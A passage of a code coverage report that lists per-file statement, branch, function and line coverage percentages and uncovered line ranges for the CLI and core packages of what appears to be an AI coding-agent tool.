  ...idDiagram.tsx |   87.79 |    95.34 |     100 |   87.79 | 156-179           
  ...eRenderer.tsx |   92.08 |    80.45 |      95 |   92.08 | ...76-679,723-728 
  ...dWorkUtils.ts |     100 |      100 |     100 |     100 |                   
  ...boardUtils.ts |   59.61 |    58.82 |     100 |   59.61 | ...,86-88,107-149 
  commandUtils.ts  |    95.9 |    88.42 |     100 |    95.9 | ...62,164-165,289 
  computeStats.ts  |     100 |      100 |     100 |     100 |                   
  customBanner.ts  |   90.68 |    91.22 |     100 |   90.68 | ...13,324-327,334 
  displayUtils.ts  |   88.37 |    72.22 |     100 |   88.37 | 23,25,29,31,33    
  formatters.ts    |   95.23 |    98.27 |     100 |   95.23 | 117-120           
  gradientUtils.ts |     100 |      100 |     100 |     100 |                   
  highlight.ts     |     100 |      100 |     100 |     100 |                   
  ...oryMapping.ts |     100 |    94.28 |     100 |     100 | 35,57             
  historyUtils.ts  |   94.11 |       94 |     100 |   94.11 | 94-97             
  isNarrowWidth.ts |     100 |      100 |     100 |     100 |                   
  ...olDetector.ts |    8.23 |      100 |       0 |    8.23 | ...31-132,135-136 
  latexRenderer.ts |   94.95 |     73.8 |     100 |   94.95 | ...76-178,184-187 
  layoutUtils.ts   |     100 |      100 |     100 |     100 |                   
  ...ightLoader.ts |     100 |    89.47 |     100 |     100 | 81,110            
  ...nUtilities.ts |   69.84 |    85.71 |     100 |   69.84 | 75-91,100-101     
  ...ToolGroups.ts |   98.66 |    96.77 |     100 |   98.66 | 48-49             
  ...geRenderer.ts |   86.23 |    69.06 |   95.12 |   86.23 | ...1284,1324-1330 
  ...alRenderer.ts |   86.69 |     71.9 |     100 |   86.69 | ...1476,1513-1519 
  ...lsBySource.ts |     100 |    95.23 |     100 |     100 | 84                
  osc8.ts          |   94.73 |    87.75 |     100 |   94.73 | ...49,434,438-439 
  ...mConstants.ts |     100 |      100 |     100 |     100 |                   
  restoreGoal.ts   |   98.98 |    97.05 |     100 |   98.98 | 98                
  ...storyUtils.ts |   61.89 |    69.87 |      90 |   61.89 | ...76,424,429-451 
  ...ickerUtils.ts |     100 |      100 |     100 |     100 |                   
  ...izedOutput.ts |   94.94 |      100 |   88.88 |   94.94 | 112-117           
  ...wOptimizer.ts |     100 |    96.77 |     100 |     100 | 69                
  terminalSetup.ts |    4.37 |      100 |       0 |    4.37 | 44-393            
  textUtils.ts     |   97.61 |    94.84 |   92.85 |   97.61 | ...50-251,386-387 
  todoSnapshot.ts  |   89.11 |    93.33 |     100 |   89.11 | ...,66-78,180-181 
  updateCheck.ts   |     100 |    80.95 |     100 |     100 | 30-42             
 ...i/utils/export |   56.77 |     40.8 |   79.41 |   56.77 |                   
  collect.ts       |   55.92 |    50.58 |   86.36 |   55.92 | ...25-640,642-647 
  index.ts         |     100 |      100 |     100 |     100 |                   
  normalize.ts     |   57.47 |    20.51 |      80 |   57.47 | ...09-310,324-359 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
  utils.ts         |      40 |      100 |       0 |      40 | 11-13             
 ...ort/formatters |    3.38 |      100 |       0 |    3.38 |                   
  html.ts          |    9.61 |      100 |       0 |    9.61 | ...28,34-76,82-84 
  json.ts          |      50 |      100 |       0 |      50 | 14-15             
  jsonl.ts         |     3.5 |      100 |       0 |     3.5 | 14-76             
  markdown.ts      |    0.94 |      100 |       0 |    0.94 | 13-295            
 src/utils         |   77.21 |    90.21 |   94.07 |   77.21 |                   
  acpModelUtils.ts |     100 |      100 |     100 |     100 |                   
  apiPreconnect.ts |   96.72 |    97.14 |     100 |   96.72 | 165-168           
  checks.ts        |   33.33 |      100 |       0 |   33.33 | 23-28             
  cleanup.ts       |   84.12 |    93.33 |      80 |   84.12 | 75,106-115        
  commands.ts      |     100 |      100 |     100 |     100 |                   
  commentJson.ts   |   87.17 |     90.9 |     100 |   87.17 | 64-73             
  ...Calculator.ts |     100 |      100 |     100 |     100 |                   
  deepMerge.ts     |     100 |       90 |     100 |     100 | 41-43,49          
  ...ScopeUtils.ts |   97.56 |    88.88 |     100 |   97.56 | 67                
  doctorChecks.ts  |   70.98 |       75 |     100 |   70.98 | ...95-301,325-341 
  ...putCapture.ts |   90.65 |    86.17 |     100 |   90.65 | ...72,370,372-373 
  ...arResolver.ts |   94.28 |       88 |     100 |   94.28 | 28-29,125-126     
  errors.ts        |   90.85 |    96.36 |    92.3 |   90.85 | 69-70,298-310     
  events.ts        |     100 |      100 |     100 |     100 |                   
  gitUtils.ts      |   91.91 |    84.61 |     100 |   91.91 | 78-81,124-127     
  ...AutoUpdate.ts |   90.76 |    93.33 |   88.88 |   90.76 | 103-114           
  ...tyWarnings.ts |     100 |      100 |     100 |     100 |                   
  ...lationInfo.ts |     100 |      100 |     100 |     100 |                   
  languageUtils.ts |   97.89 |    96.42 |     100 |   97.89 | 132-133           
  math.ts          |       0 |        0 |       0 |       0 | 1-15              
  ...iagnostics.ts |   94.57 |    83.01 |   88.88 |   94.57 | ...05,311,315-317 
  ...onfigUtils.ts |     100 |      100 |     100 |     100 |                   
  ...iveHelpers.ts |   96.79 |    93.28 |     100 |   96.79 | ...76-477,575,588 
  osc.ts           |    97.5 |      100 |   88.88 |    97.5 | 195-196           
  package.ts       |   88.88 |       80 |     100 |   88.88 | 33-34             
  processUtils.ts  |     100 |      100 |     100 |     100 |                   
  readStdin.ts     |   79.62 |       90 |      80 |   79.62 | 33-40,52-54       
  relaunch.ts      |   98.07 |    76.92 |     100 |   98.07 | 70                
  resolvePath.ts   |   66.66 |       25 |     100 |   66.66 | 12-13,16,18-19    
  runBudget.ts     |   99.35 |    96.77 |     100 |   99.35 | 119               
  sandbox.ts       |       0 |        0 |       0 |       0 | 1-1047            
  sessionPaths.ts  |   90.84 |    90.56 |     100 |   90.84 | ...81-182,185-186 
  settingsUtils.ts |   82.51 |    91.66 |   89.74 |   82.51 | ...76-694,701-709 
  spawnWrapper.ts  |     100 |      100 |     100 |     100 |                   
  ...upProfiler.ts |   98.46 |    94.52 |     100 |   98.46 | 130-131,305       
  ...upWarnings.ts |     100 |      100 |     100 |     100 |                   
  stdioHelpers.ts  |     100 |       60 |     100 |     100 | 23,32             
  systemInfo.ts    |   95.12 |    89.06 |     100 |   95.12 | ...43-244,249-253 
  ...InfoFields.ts |    87.5 |       65 |     100 |    87.5 | ...24-125,146-147 
  ...iffPreview.ts |   94.11 |    83.33 |     100 |   94.11 | 13                
  ...entEmitter.ts |     100 |      100 |     100 |     100 |                   
  ...upWarnings.ts |   91.17 |    82.35 |     100 |   91.17 | 67-68,73-74,77-78 
  version.ts       |     100 |       50 |     100 |     100 | 11                
  ...ingHandler.ts |     100 |      100 |     100 |     100 |                   
  windowTitle.ts   |     100 |      100 |     100 |     100 |                   
  ...WithBackup.ts |   63.15 |    81.25 |     100 |   63.15 | 93,118-157        
-------------------|---------|----------|---------|---------|-------------------
Core Package - Full Text Report
-------------------|---------|----------|---------|---------|-------------------
File               | % Stmts | % Branch | % Funcs | % Lines | Uncovered Line #s 
-------------------|---------|----------|---------|---------|-------------------
All files          |   80.36 |    83.06 |   82.57 |   80.36 |                   
 src               |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/__mocks__/fs  |       0 |        0 |       0 |       0 |                   
  promises.ts      |       0 |        0 |       0 |       0 | 1-48              
 src/agents        |   88.06 |    79.77 |   92.13 |   88.06 |                   
  ...transcript.ts |   92.25 |    85.71 |     100 |   92.25 | ...87,306-307,438 
  ...ent-resume.ts |    82.8 |    71.63 |   77.41 |    82.8 | ...1059-1063,1066 
  ...ound-tasks.ts |   95.76 |    87.57 |     100 |   95.76 | ...26-827,898-899 
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/agents/arena  |   76.54 |    66.87 |   78.72 |   76.54 |                   
  ...gentClient.ts |   79.47 |    88.88 |   81.81 |   79.47 | ...68-183,189-204 
  ArenaManager.ts  |   75.37 |    63.37 |   78.26 |   75.37 | ...1860,1866-1867 
  arena-events.ts  |   64.44 |      100 |      50 |   64.44 | ...71-175,178-183 
  diff-summary.ts  |    87.5 |    72.34 |     100 |    87.5 | ...32-133,137-138 
  index.ts         |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...gents/backends |   76.29 |    86.15 |   73.04 |   76.29 |                   
  ITermBackend.ts  |   97.97 |    93.93 |     100 |   97.97 | ...78-180,255,307 
  ...essBackend.ts |   91.25 |    90.62 |   86.66 |   91.25 | ...94,249-269,328 
  TmuxBackend.ts   |    90.7 |    76.55 |   97.36 |    90.7 | ...87,697,743-747 
  detect.ts        |   31.25 |      100 |       0 |   31.25 | 34-88             
  index.ts         |     100 |      100 |     100 |     100 |                   
  iterm-it2.ts     |     100 |     92.1 |     100 |     100 | 37-38,106         
  tmux-commands.ts |    6.64 |      100 |    3.03 |    6.64 | ...93-363,386-503 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...agents/runtime |   81.78 |    77.83 |   73.04 |   81.78 |                   
  agent-context.ts |     100 |      100 |     100 |     100 |                   
  agent-core.ts    |   76.81 |    72.89 |   63.63 |   76.81 | ...1614,1641-1688 
  agent-events.ts  |     100 |      100 |     100 |     100 |                   
  ...t-headless.ts |   84.48 |    78.04 |   63.63 |   84.48 | ...00-401,404-405 
  ...nteractive.ts |   80.07 |    80.76 |   74.07 |   80.07 | ...53,455,457,460 
  ...statistics.ts |   98.19 |    82.35 |     100 |   98.19 | 127,151,192,225   
  agent-types.ts   |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/agents/tasks  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/config        |    78.4 |    82.24 |   65.07 |    78.4 |                   
  config.ts        |   76.28 |    81.09 |   60.43 |   76.28 | ...3869,3880-3892 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  models.ts        |     100 |      100 |     100 |     100 |                   
  storage.ts       |   95.01 |     90.9 |   90.47 |   95.01 | ...71-372,375-376 
 ...nfirmation-bus |   98.29 |    97.14 |     100 |   98.29 |                   
  message-bus.ts   |   98.14 |    97.05 |     100 |   98.14 | 42-43             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/core          |   87.87 |    83.53 |   92.07 |   87.87 |                   
  baseLlmClient.ts |   87.24 |    76.47 |    87.5 |   87.24 | ...82,484-494,503 
  client.ts        |   87.42 |    80.57 |   86.36 |   87.42 | ...2072,2111-2114 
  ...tGenerator.ts |    72.1 |    61.11 |     100 |    72.1 | ...63,365,372-375 
  ...lScheduler.ts |   85.36 |    82.08 |   94.73 |   85.36 | ...3209,3270-3281 
  geminiChat.ts    |   91.04 |    87.25 |   97.22 |   91.04 | ...2703,2770-2771 
  geminiRequest.ts |     100 |      100 |     100 |     100 |                   
  ...htProtocol.ts |    9.09 |      100 |       0 |    9.09 | 34-42,45-49,52-87 
  logger.ts        |   87.33 |    87.02 |     100 |   87.33 | ...61-565,611-625 
  ...tyDefaults.ts |     100 |      100 |     100 |     100 |                   
  ...olExecutor.ts |   92.59 |       75 |      50 |   92.59 | 41-42             
  ...on-helpers.ts |   86.48 |    72.22 |     100 |   86.48 | ...97-198,212-221 
  ...issionFlow.ts |   98.59 |       95 |     100 |   98.59 | 93                
  prompts.ts       |   89.24 |    86.41 |   76.92 |   89.24 | ...-972,1175-1176 
  tokenLimits.ts   |     100 |    89.47 |     100 |     100 | 51-52             
  ...okTriggers.ts |   99.33 |    90.47 |     100 |   99.33 | 156,167           
  turn.ts          |   96.46 |    88.88 |     100 |   96.46 | ...21,434-435,483 
 ...ntentGenerator |   94.93 |    82.59 |   93.87 |   94.93 |                   
  ...tGenerator.ts |   96.49 |    84.28 |   92.59 |   96.49 | ...04,922-926,966 
  converter.ts     |   94.51 |    80.72 |     100 |   94.51 | ...06-607,617,823 
  index.ts         |       0 |        0 |       0 |       0 | 1-21              
  usage.ts         |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |   91.53 |    71.64 |   93.33 |   91.53 |                   
  ...tGenerator.ts |      90 |    70.96 |   92.85 |      90 | ...80-286,304-305 
  index.ts         |     100 |       80 |     100 |     100 | 50                
 ...ntentGenerator |   93.86 |    82.98 |    90.9 |   93.86 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...tGenerator.ts |   93.72 |    81.27 |   90.32 |   93.72 | ...29,939-940,968 
  ...tDetection.ts |     100 |      100 |     100 |     100 |                   
 ...ntentGenerator |    81.7 |    84.27 |   90.78 |    81.7 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  converter.ts     |   76.88 |    82.25 |    87.5 |   76.88 | ...1589,1610-1616 
  errorHandler.ts  |     100 |      100 |     100 |     100 |                   
  index.ts         |   54.54 |    68.75 |      50 |   54.54 | ...79,87-91,95-99 
  ...tGenerator.ts |    66.4 |    70.58 |   88.88 |    66.4 | ...51-157,168-169 
  pipeline.ts      |   93.69 |     84.9 |     100 |   93.69 | ...61-462,470,538 
  ...ureContext.ts |     100 |      100 |     100 |     100 |                   
  ...ingOptions.ts |       0 |        0 |       0 |       0 | 1                 
  ...CallParser.ts |   90.66 |    88.57 |     100 |   90.66 | ...15-319,349-350 
  ...kingParser.ts |     100 |    96.87 |     100 |     100 | 42                
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...rator/provider |   96.66 |    88.42 |   96.07 |   96.66 |                   
  dashscope.ts     |   97.35 |    90.21 |   93.33 |   97.35 | ...90-291,367-368 
  deepseek.ts      |   94.91 |    89.36 |     100 |   94.91 | ...31-132,145-146 
  default.ts       |   95.79 |    89.65 |   88.88 |   95.79 | 122-123,193-195   
  index.ts         |     100 |      100 |     100 |     100 |                   
  mimo.ts          |   94.11 |    66.66 |     100 |   94.11 | 29,52-53          
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  mistral.ts       |   96.07 |    73.33 |     100 |   96.07 | 32-33             
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  openrouter.ts    |     100 |      100 |     100 |     100 |                   
  types.ts         |       0 |        0 |       0 |       0 |                   
  utils.ts         |     100 |      100 |     100 |     100 |                   
 src/extension     |   62.34 |    79.57 |   80.31 |   62.34 |                   
  ...-converter.ts |   66.21 |    52.45 |     100 |   66.21 | ...85-786,795-827 
  ...ionManager.ts |   47.05 |    82.19 |    65.9 |   47.05 | ...1400,1410-1429 
  ...onSettings.ts |   93.46 |    93.05 |     100 |   93.46 | ...17-221,228-232 
  ...-converter.ts |   54.88 |    94.44 |      60 |   54.88 | ...35-146,158-192 
  github.ts        |   46.41 |     87.3 |   63.63 |   46.41 | ...68-374,413-466 
  index.ts         |     100 |      100 |     100 |     100 |                   
  marketplace.ts   |   97.31 |    93.75 |     100 |   97.31 | ...65,185-186,275 
  npm.ts           |   59.01 |    71.69 |    87.5 |   59.01 | ...23-425,432-436 
  override.ts      |   94.11 |    88.88 |     100 |   94.11 | 63-64,81-82       
  redaction.ts     |     100 |      100 |     100 |     100 |                   
  settings.ts      |   66.26 |      100 |      50 |   66.26 | 81-108,143-149    
  storage.ts       |     100 |      100 |     100 |     100 |                   
  ...ableSchema.ts |     100 |      100 |     100 |     100 |                   
  variables.ts     |   88.75 |    83.33 |     100 |   88.75 | ...28-231,234-237 
 src/followup      |   55.57 |    84.14 |   81.25 |   55.57 |                   
  followupState.ts |      96 |    89.74 |     100 |      96 | 159-161,218-219   
  index.ts         |     100 |      100 |     100 |     100 |                   
  overlayFs.ts     |   95.06 |       84 |     100 |   95.06 | 78,108,122,133    
  speculation.ts   |   13.02 |      100 |   16.66 |   13.02 | 89-464,524-575    
  ...onToolGate.ts |     100 |    96.42 |     100 |     100 | 94                
  ...nGenerator.ts |    71.6 |    72.13 |   83.33 |    71.6 | ...88-246,316-318 
 src/generated     |       0 |        0 |       0 |       0 |                   
  git-commit.ts    |       0 |        0 |       0 |       0 | 1-10              
 src/goals         |   89.57 |    83.45 |   94.44 |   89.57 |                   
  ...eGoalStore.ts |    85.1 |    95.45 |   84.61 |    85.1 | ...63-166,174-182 
  goalHook.ts      |   97.26 |    91.48 |     100 |   97.26 | 100-105           
  goalJudge.ts     |   84.33 |    74.28 |     100 |   84.33 | ...57-358,366-368 
  index.ts         |     100 |      100 |     100 |     100 |                   
 src/hooks         |   83.67 |    85.34 |   86.72 |   83.67 |                   
  ...okRegistry.ts |   86.48 |    77.08 |     100 |   86.48 | ...41-344,362-369 
  ...terpolator.ts |   96.66 |    93.33 |     100 |   96.66 | 66-67             
  ...HookRunner.ts |   96.68 |    87.23 |     100 |   96.68 | 110-112,231-233   
  ...Aggregator.ts |    96.4 |    90.78 |     100 |    96.4 | ...91,293-294,367 
  ...entHandler.ts |    94.6 |    86.07 |   93.33 |    94.6 | ...42,799-800,810 
  hookPlanner.ts   |   88.19 |       85 |    90.9 |   88.19 | ...68-170,188-199 
  hookRegistry.ts  |   90.17 |    83.33 |     100 |   90.17 | ...33,352,356,360 
  hookRunner.ts    |   58.56 |    71.26 |   66.66 |   58.56 | ...48-749,758-759 
  hookSystem.ts    |   84.57 |      100 |   65.85 |   84.57 | ...21-622,628-629 
  ...HookRunner.ts |   75.51 |     61.9 |      80 |   75.51 | ...05-406,424-425 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...HookRunner.ts |   96.37 |     90.9 |      90 |   96.37 | 342-350,424-425   
  ...SkillHooks.ts |   78.75 |       75 |   66.66 |   78.75 | 62-66,137-152     
  ...oksManager.ts |   96.66 |    91.66 |     100 |   96.66 | ...90,209-210,223 
  ssrfGuard.ts     |   77.22 |    85.36 |     100 |   77.22 | ...57,261-267,273 
  stopHookCap.ts   |     100 |      100 |     100 |     100 |                   
  trustedHooks.ts  |       0 |        0 |       0 |       0 | 1-124             
  types.ts         |   91.21 |    92.13 |   85.71 |   91.21 | ...40-441,501-505 
  urlValidator.ts  |     100 |      100 |     100 |     100 |                   
 src/ide           |   74.28 |    83.39 |   78.33 |   74.28 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  detect-ide.ts    |     100 |      100 |     100 |     100 |                   
  ide-client.ts    |    64.2 |    81.48 |   66.66 |    64.2 | ...9-970,999-1007 
  ide-installer.ts |   89.06 |    79.31 |     100 |   89.06 | ...36,143-147,160 
  ideContext.ts    |     100 |      100 |     100 |     100 |                   
  process-utils.ts |   84.84 |    71.79 |     100 |   84.84 | ...37,151,193-194 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/lsp           |   41.24 |    52.14 |   51.42 |   41.24 |                   
  ...nfigLoader.ts |   70.27 |    35.89 |   94.73 |   70.27 | ...20-422,426-432 
  ...ionFactory.ts |   42.69 |    79.16 |      50 |   42.69 | ...62-413,419-436 
  ...Normalizer.ts |   23.09 |    13.72 |   30.43 |   23.09 | ...04-905,909-924 
  ...verManager.ts |   25.31 |    62.06 |   41.66 |   25.31 | ...85-704,710-740 
  ...eLspClient.ts |   32.77 |       80 |   17.64 |   32.77 | ...84-288,294-295 
  ...LspService.ts |   48.49 |    67.16 |   65.71 |   48.49 | ...1352,1369-1379 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/mcp           |   78.69 |    75.34 |   75.92 |   78.69 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...h-provider.ts |   86.95 |      100 |   33.33 |   86.95 | ...,93,97,101-102 
  ...h-provider.ts |   73.82 |    53.92 |     100 |   73.82 | ...88-895,902-904 
  ...en-storage.ts |   98.62 |    97.72 |     100 |   98.62 | 87-88             
  oauth-utils.ts   |   70.58 |    85.29 |    90.9 |   70.58 | ...70-290,315-344 
  ...n-provider.ts |   89.83 |    95.83 |   45.45 |   89.83 | ...43,147,151-152 
 .../token-storage |   79.52 |    86.66 |   86.36 |   79.52 |                   
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   82.87 |    82.35 |   92.85 |   82.87 | ...63-173,181-182 
  ...en-storage.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...en-storage.ts |   68.14 |    82.35 |   64.28 |   68.14 | ...81-295,298-314 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/memory        |   70.97 |    75.71 |    69.1 |   70.97 |                   
  const.ts         |     100 |      100 |     100 |     100 |                   
  dream.ts         |   65.65 |    73.33 |      50 |   65.65 | 50,107-148        
  ...entPlanner.ts |   57.84 |    72.72 |   33.33 |   57.84 | ...35,140-147,152 
  entries.ts       |   63.77 |    79.16 |      50 |   63.77 | ...72-180,183-189 
  extract.ts       |    95.2 |    79.16 |     100 |    95.2 | 81-86,125         
  ...entPlanner.ts |   63.08 |    65.71 |   41.17 |   63.08 | ...17,222-223,332 
  ...ionPlanner.ts |       0 |        0 |       0 |       0 | 1                 
  forget.ts        |    45.8 |    61.53 |   44.44 |    45.8 | ...04,211,214-346 
  indexer.ts       |   83.87 |    45.45 |     100 |   83.87 | ...50,56-57,69-70 
  manager.ts       |   75.31 |    81.04 |    75.6 |   75.31 | ...1278,1291-1293 
  memoryAge.ts     |   90.47 |    77.77 |     100 |   90.47 | 50-51             
  paths.ts         |   55.47 |    89.47 |   85.71 |   55.47 | ...,89-90,106-114 
  prompt.ts        |   93.36 |    71.42 |     100 |   93.36 | ...58,161,228-229 
  recall.ts        |   77.54 |    69.38 |   88.88 |   77.54 | ...53-258,282-293 
  ...ceSelector.ts |   91.86 |    77.27 |     100 |   91.86 | ...15,117-118,126 
  scan.ts          |   87.91 |    68.42 |     100 |   87.91 | ...47-48,58,82-87 
  ...entPlanner.ts |   58.02 |    66.66 |   56.25 |   58.02 | ...47-268,344-389 
  status.ts        |   10.52 |      100 |       0 |   10.52 | 41-98             
  store.ts         |   94.44 |    83.33 |     100 |   94.44 | 56-57,92-93       
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...ontextFile.ts |   79.38 |    81.03 |   81.81 |   79.38 | ...58-272,286-291 
 src/mocks         |       0 |        0 |       0 |       0 |                   
  msw.ts           |       0 |        0 |       0 |       0 | 1-9               
 src/models        |   89.35 |    85.67 |    87.5 |   89.35 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...tor-config.ts |   90.24 |    91.42 |     100 |   90.24 | 142,148,151-160   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nfigErrors.ts |   74.22 |       44 |   84.61 |   74.22 | ...,67-74,106-117 
  ...igResolver.ts |   98.66 |    92.85 |     100 |   98.66 | 162,324,330       
  modelRegistry.ts |     100 |    98.59 |     100 |     100 | 222               
  modelsConfig.ts  |   84.57 |    82.14 |   81.57 |   84.57 | ...1223,1252-1253 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/output        |     100 |      100 |     100 |     100 |                   
  ...-formatter.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/permissions   |    74.9 |    89.38 |   58.28 |    74.9 |                   
  autoMode.ts      |   61.59 |    93.54 |   83.33 |   61.59 | ...00-238,340-356 
  ...transcript.ts |      98 |       84 |     100 |      98 | 200-201           
  classifier.ts    |   92.89 |     87.5 |     100 |   92.89 | 146-153,333-337   
  ...erousRules.ts |     100 |    89.36 |     100 |     100 | 110,133,147,175   
  ...alTracking.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...on-manager.ts |   78.41 |    86.06 |   82.14 |   78.41 | ...-929,1035-1039 
  rule-parser.ts   |   97.37 |    93.82 |     100 |   97.37 | ...-875,1024-1026 
  ...-semantics.ts |   58.35 |    86.06 |    30.2 |   58.35 | ...1604-1614,1643 
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...sifier-prompts |   98.18 |       90 |     100 |   98.18 |                   
  system-prompt.ts |   98.18 |       90 |     100 |   98.18 | 150               
 src/prompts       |   83.63 |      100 |    87.5 |   83.63 |                   
  mcp-prompts.ts   |   18.18 |      100 |       0 |   18.18 | 11-19             
  ...t-registry.ts |     100 |      100 |     100 |     100 |                   
 src/providers     |   77.46 |    70.94 |   60.71 |   77.46 |                   
  all-providers.ts |      68 |      100 |       0 |      68 | 68-69,73-79,83-89 
  index.ts         |     100 |      100 |     100 |     100 |                   
  install.ts       |   98.87 |    87.27 |     100 |   98.87 | 268-269           
  ...der-config.ts |   66.11 |    55.93 |   63.15 |   66.11 | ...08-409,416-425 
  types.ts         |       0 |        0 |       0 |       0 | 1                 
 ...viders/presets |   97.26 |    86.36 |      50 |   97.26 |                   
  ...oding-plan.ts |   87.17 |      100 |       0 |   87.17 | 81-83,86-88,90-93 
  ...a-standard.ts |     100 |      100 |     100 |     100 |                   
  ...token-plan.ts |     100 |      100 |     100 |     100 |                   
  ...m-provider.ts |   97.01 |    81.25 |      75 |   97.01 | 120-121           
  deepseek.ts      |     100 |      100 |     100 |     100 |                   
  idealab.ts       |     100 |      100 |     100 |     100 |                   
  minimax.ts       |     100 |      100 |     100 |     100 |                   
  modelscope.ts    |     100 |      100 |     100 |     100 |                   
  openrouter.ts    |     100 |      100 |     100 |     100 |                   
  zai.ts           |     100 |      100 |     100 |     100 |                   
 src/qwen          |   83.87 |    77.23 |   95.83 |   83.87 |                   
  ...tGenerator.ts |   98.64 |    98.18 |     100 |   98.64 | 105-106           
  qwenOAuth2.ts    |   80.85 |    70.27 |   90.32 |   80.85 | ...1169-1185,1215 
  ...kenManager.ts |   83.76 |    76.22 |     100 |   83.76 | ...62-767,788-793 
 src/services      |   85.66 |    83.53 |   91.37 |   85.66 |                   
  ...ionTrailer.ts |     100 |      100 |     100 |     100 |                   
  ...llRegistry.ts |   98.44 |    91.83 |     100 |   98.44 | 268-269           
  ...ionService.ts |   98.44 |    97.45 |     100 |   98.44 | 536,538-542       
  ...ingService.ts |   83.88 |    83.33 |   83.33 |   83.88 | ...1266,1283-1284 
  ...ttribution.ts |   91.73 |    87.71 |      90 |   91.73 | ...80-685,826-827 
  ...utSlimming.ts |     100 |    96.77 |     100 |     100 | 139,188           
  cronScheduler.ts |   97.56 |    92.98 |     100 |   97.56 | 62-63,77,155      
  ...eryService.ts |   80.43 |    95.45 |      75 |   80.43 | ...19-134,140-141 
  ...oryService.ts |   86.18 |    76.76 |   91.17 |   86.18 | ...1150,1191-1194 
  fileReadCache.ts |     100 |      100 |     100 |     100 |                   
  ...temService.ts |   91.27 |    82.69 |    90.9 |   91.27 | ...94,196,294-301 
  ...ratedFiles.ts |      96 |    88.23 |     100 |      96 | 119-120,146-147   
  gitInit.ts       |     100 |      100 |     100 |     100 |                   
  gitService.ts    |   68.75 |     92.3 |   55.55 |   68.75 | ...12-122,125-129 
  ...reeService.ts |   73.83 |    69.31 |    97.5 |   73.83 | ...1460,1488-1489 
  ...ionService.ts |   98.13 |     97.8 |   95.45 |   98.13 | ...32-333,380-381 
  ...orRegistry.ts |   96.54 |    91.73 |     100 |   96.54 | ...70-471,622-623 
  sessionRecap.ts  |   12.65 |      100 |       0 |   12.65 | 44-150            
  ...ionService.ts |   90.47 |     79.2 |   96.87 |   90.47 | ...1324,1328-1329 
  sessionTitle.ts  |   93.87 |    71.15 |     100 |   93.87 | ...33-236,267-268 
  ...ionService.ts |   81.24 |    78.31 |   89.28 |   81.24 | ...1923,1929-1934 
  ...Estimation.ts |     100 |      100 |     100 |     100 |                   
  ...UseSummary.ts |   94.63 |    88.46 |     100 |   94.63 | ...62-164,214-215 
  ...reeCleanup.ts |   14.56 |      100 |   33.33 |   14.56 | 58-185            
  ...ionService.ts |   84.21 |    79.41 |     100 |   84.21 | ...22-223,239-240 
 ...icrocompaction |   98.05 |     91.8 |     100 |   98.05 |                   
  microcompact.ts  |   98.05 |     91.8 |     100 |   98.05 | ...19,289,293,391 
 src/skills        |   88.51 |    85.75 |   94.54 |   88.51 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...activation.ts |     100 |     93.1 |     100 |     100 | 93,112            
  skill-load.ts    |      94 |    86.56 |     100 |      94 | ...08,228,240-242 
  skill-manager.ts |   84.26 |    80.87 |   90.32 |   84.26 | ...1155,1162-1166 
  skill-paths.ts   |   89.15 |    86.36 |     100 |   89.15 | ...00-101,106-107 
  symlinkScope.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/subagents     |   82.61 |    78.89 |   95.23 |   82.61 |                   
  ...tin-agents.ts |     100 |      100 |     100 |     100 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...nt-manager.ts |   77.15 |    71.36 |    93.1 |   77.15 | ...1178,1200-1201 
  types.ts         |     100 |      100 |     100 |     100 |                   
  validation.ts    |   92.46 |    95.18 |     100 |   92.46 | 51-56,69-74,78-83 
 src/telemetry     |   76.84 |     87.3 |   79.86 |   76.84 |                   
  config.ts        |     100 |      100 |     100 |     100 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...attributes.ts |   98.13 |       88 |     100 |   98.13 | 185-187           
  ...-exporters.ts |   46.37 |      100 |   44.44 |   46.37 | ...85,88-89,92-93 
  index.ts         |     100 |      100 |     100 |     100 |                   
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-111             
  ...-processor.ts |   93.93 |    90.21 |   94.11 |   93.93 | ...75-280,299-300 
  ...t.circular.ts |       0 |        0 |       0 |       0 | 1-128             
  loggers.ts       |    51.9 |       64 |   57.77 |    51.9 | ...1214,1231-1251 
  metrics.ts       |   75.03 |    82.95 |   74.54 |   75.03 | ...8-988,991-1002 
  ...attributes.ts |     100 |      100 |     100 |     100 |                   
  sanitize.ts      |      80 |    83.33 |     100 |      80 | 35-36,41-42       
  sdk.ts           |   93.01 |    88.23 |   80.95 |   93.01 | ...58-559,579-583 
